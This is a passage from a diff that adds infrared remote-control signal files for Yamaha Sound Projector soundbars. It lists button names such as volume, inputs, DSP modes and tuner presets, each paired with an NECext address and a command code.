78 00 00 00 +command: 11 00 00 00 +# +name: FM/XM:_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: FM/XM:_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: FM/XM:_3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: FM/XM:_4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: FM/XM:_5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: FM/XM:_6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: FM/XM:_7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: FM/XM:_8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 19 00 00 00 +# +name: FM/XM:_9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 19 00 00 00 +# +name: FM_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: SUR_UPP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: FM/XM:_PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: FM_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: SUR_NER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: FM/XM:_PRESET_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: FM_A-E +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: XM_CATEGORY_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: FM/XM:_PG/CAT+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: CH_LEVEL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: LEVEL_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: DSP:_LEVEL_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 48 00 00 00 +# +name: INPUT_AUX1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT_AUX_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT:_AUX_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: INPUT_FM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: INPUT:_XM/FM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: SLEEP_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: SLEEP:_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: SUR_STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: BEAM-STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: STEREO/5_CH_STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: DSP:_BMSTEREOTOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: TEST_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: TEST_MODE_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: TEST_(DOLBY) +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: TEST_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: SEARCH_MODE_ALL_CH +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 67 00 00 00 +# +name: FM/XM:_SRCHMD_ALL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 67 00 00 00 +# +name: SEARCH_MODE_PREST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 68 00 00 00 +# +name: FM/XM:_SRCHMPRES +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 68 00 00 00 +# +name: DEMO_1_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6B 00 00 00 +# +name: DEMO_1_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6B 00 00 00 +# +name: DEMO_1_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6C 00 00 00 +# +name: DEMO_1_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6C 00 00 00 +# +name: TRUBASS_MID +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6D 00 00 00 +# +name: DEMO_2_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6D 00 00 00 +# +name: TRUBASS:_MID +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6D 00 00 00 +# +name: DSP:_TBASS_ON_MID +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6D 00 00 00 +# +name: TRUBASS_DEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6E 00 00 00 +# +name: DEMO_2_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6E 00 00 00 +# +name: TRUBASS:_DEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6E 00 00 00 +# +name: DSP:_TBASS_ON_DEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6E 00 00 00 +# +name: TRUBASS_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6F 00 00 00 +# +name: TRUBASS:_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6F 00 00 00 +# +name: DSP:_TBASS_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 6F 00 00 00 +# +name: PRESET_MEMORY_A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_MEMORY_A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 70 00 00 00 +# +name: PRESET_RECALL_A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 71 00 00 00 +# +name: VOLUME_RECALL_A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 71 00 00 00 +# +name: PRESET_MEMORY_B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 72 00 00 00 +# +name: VOLUME_MEMORY_B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 72 00 00 00 +# +name: PRESET_RECALL_B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 73 00 00 00 +# +name: VOLUME_RECALL_B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 73 00 00 00 +# +name: PRESET_MEMORY_C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 74 00 00 00 +# +name: VOLUME_MEMORY_C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 74 00 00 00 +# +name: PRESET_RECALL_C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 75 00 00 00 +# +name: VOLUME_RECALL_C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 75 00 00 00 +# +name: MEMORY_SAVE_USER1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 76 00 00 00 +# +name: MEMORY_LOAD_USER1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 77 00 00 00 +# +name: MEMORY_SAVE_USER2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 78 00 00 00 +# +name: MEMORY_LOAD_USER2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 79 00 00 00 +# +name: MEMORY_SAVE_USER3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7A 00 00 00 +# +name: MEMORY_LOAD_USER3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7B 00 00 00 +# +name: TV_EQUAL_VOL_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7C 00 00 00 +# +name: TV_MODE:_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_TV_MODE_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7C 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7D 00 00 00 +# +name: INPUT:_XM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 7F 00 00 00 +# +name: VOL_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: NIGHT_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: VOLUME_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: DSP:_VOL_MODE_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: TRUBASS_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8B 00 00 00 +# +name: SRS_TRUBASS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8B 00 00 00 +# +name: DSP:_TBASS_TOGG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8B 00 00 00 +# +name: INPUTMODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8D 00 00 00 +# +name: INPUT_MODE:_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: SET_MENU_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: SET:_CURSOR_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: SET_MENU_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: SET:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8F 00 00 00 +# +name: SUR_DECODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: SURROUND_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: DSP:_T_SURROUND +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: SUR_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: DSP_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: CINEMA_DSP:_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: DSP:_CDSP_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: MUTE_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: NIGHT_MODE_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: SET:_SET_MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: SET:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: SUR_A-E +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: SET:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A2 00 00 00 +# +name: AUTO_SETUP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: AUTO_INTELLIBEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: INTELLIBEAM_START +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: SET:_IBM_START_TRIGG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A3 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A5 00 00 00 +# +name: FM_PRESET/TUNE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A8 00 00 00 +# +name: PRESET/TUNE_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A8 00 00 00 +# +name: FM/XM:_PRES/TUNE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A8 00 00 00 +# +name: TUNING-/PRESET- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A9 00 00 00 +# +name: FM/XM:_TUN/PRE- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: A9 00 00 00 +# +name: TUNING+/PRESET+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AA 00 00 00 +# +name: FM/XM:_TUN/PRE+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AA 00 00 00 +# +name: PRESET_E_CATEGORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AB 00 00 00 +# +name: FM/XM:_PAGE_E +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AB 00 00 00 +# +name: PRESET_D_CATEGORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AC 00 00 00 +# +name: FM/XM:_PAGE_D +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AC 00 00 00 +# +name: PRESET_C_CATEGORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AD 00 00 00 +# +name: FM/XM:_PAGE_C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AD 00 00 00 +# +name: PRESET_B_CATEGORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AE 00 00 00 +# +name: FM/XM:_PAGE_B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AE 00 00 00 +# +name: PRESET_A_CATEGORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AF 00 00 00 +# +name: FM/XM:_PAGE_A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: AF 00 00 00 +# +name: AUTO_SEARCH_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B0 00 00 00 +# +name: FM/XM:_AUTO_SRCH- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B0 00 00 00 +# +name: AUTO_SEARCH_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B1 00 00 00 +# +name: FM/XM:_AUTO_SRCH+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B1 00 00 00 +# +name: FM_MEMORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B2 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B2 00 00 00 +# +name: FM/XM:_MEMORY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B2 00 00 00 +# +name: INPUT_FM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B6 00 00 00 +# +name: INPUT:_FM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B6 00 00 00 +# +name: FM_SEARCH +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B7 00 00 00 +# +name: FM/XM:_SRCH_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B7 00 00 00 +# +name: XM_DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B8 00 00 00 +# +name: FM/XM:_XM_DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: B8 00 00 00 +# +name: XM_CATEGORY_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BB 00 00 00 +# +name: FM/XM:_PG/CAT- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BB 00 00 00 +# +name: INPUT_AUX3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BC 00 00 00 +# +name: INPUT_AUX_3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BC 00 00 00 +# +name: INPUT:_AUX_3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BC 00 00 00 +# +name: XM_ENTER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BD 00 00 00 +# +name: FM/XM:_XM_ENTER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: BD 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C0 00 00 00 +# +name: SET_MENU_RETURN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C0 00 00 00 +# +name: SET:_RETURN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C0 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: SET_MENU_SELECT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: SET_MENU_ENTER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: SET:_ENTER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C1 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: SUR_5BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: BEAM-5BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: 5_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: DSP:_BM_5_BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C2 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: SUR_ST+3BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: BEAM-ST+3BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: ST+3_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: DSP:_BM_ST+3_BEA +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C3 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: SUR_3BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: BEAM-3BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: 3_BEAM_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: DSP:_BM_3_BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C5 00 00 00 +# +name: SUR_MY_BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C5 00 00 00 +# +name: BEAM-TARGET +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C5 00 00 00 +# +name: BEAM-MY_BEAM_AUTO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C5 00 00 00 +# +name: DSP:_BM_MY_BEAM +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C6 00 00 00 +# +name: SUR_MY_SUR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C6 00 00 00 +# +name: DSP:_BM_MY_SURR. +type: parsed +protocol: NECext +address: 78 00 00 00 +command: C6 00 00 00 +# +name: ENHANCER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: CB 00 00 00 +# +name: MUSIC_ENHANCER_TOGGL +type: parsed +protocol: NECext +address: 78 00 00 00 +command: CB 00 00 00 +# +name: DSP:_M_ENHAN_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: CB 00 00 00 +# +name: DSP:_T_MUSIC_ENHA +type: parsed +protocol: NECext +address: 78 00 00 00 +command: CB 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: CC 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: SUR_MOVIE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: DSP_MOVIE_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: CINEMA_DSP_(MOVIE)_T +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: DSP:_T_CDSP_MOVIE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: SUR_MUSIC +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: DSP_MUSIC_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: CINEMA_DSP_(MUSIC)_T +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: DSP:_T_CDSP_MUSIC +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: SUR_SPORTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: CINEMA_DSP_(SPORTS) +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: DSP:_CDSP_SPORTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: INPUT_AUX2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: INPUT_AUX_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: INPUT:_AUX_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DE 00 00 00 +# +name: INPUT_STB +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 +# +name: INPUT_TV/STB +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 +# +name: MUTE_20% +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 +# +name: INPUT:_TV/STB +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir new file mode 100644 index 000000000..be1619469 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir @@ -0,0 +1,452 @@ +Filetype: IR signals file +Version: 1 +# +name: DSP_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: PL_II_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP:_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 67 00 00 00 +# +name: DSP_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: PL_II_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP:_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 68 00 00 00 +# +name: DSP_NEO:6_CIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: NEO:6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP:_NEO6_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 69 00 00 00 +# +name: DSP_NEO:6_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DSP:_NEO6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: INPUT_MODE_TOG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: NIGHT_MODE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT_MODE_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT_MODE:_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: DSP:_NIGHT_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9B 00 00 00 +# +name: NIGHT/TV_MODE:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: DSP:_NIGHT/TV_M_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 9C 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A2 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A3 00 00 00 +# +name: INPUT_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INPUT_MODE:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A6 00 00 00 +# +name: INPUT_MODE_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: INPUT_MODE:_DTS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: A8 00 00 00 +# +name: INPUT_MODE_ANALOG +type: parsed +protocol: NECext +address: 7E 00 00 00 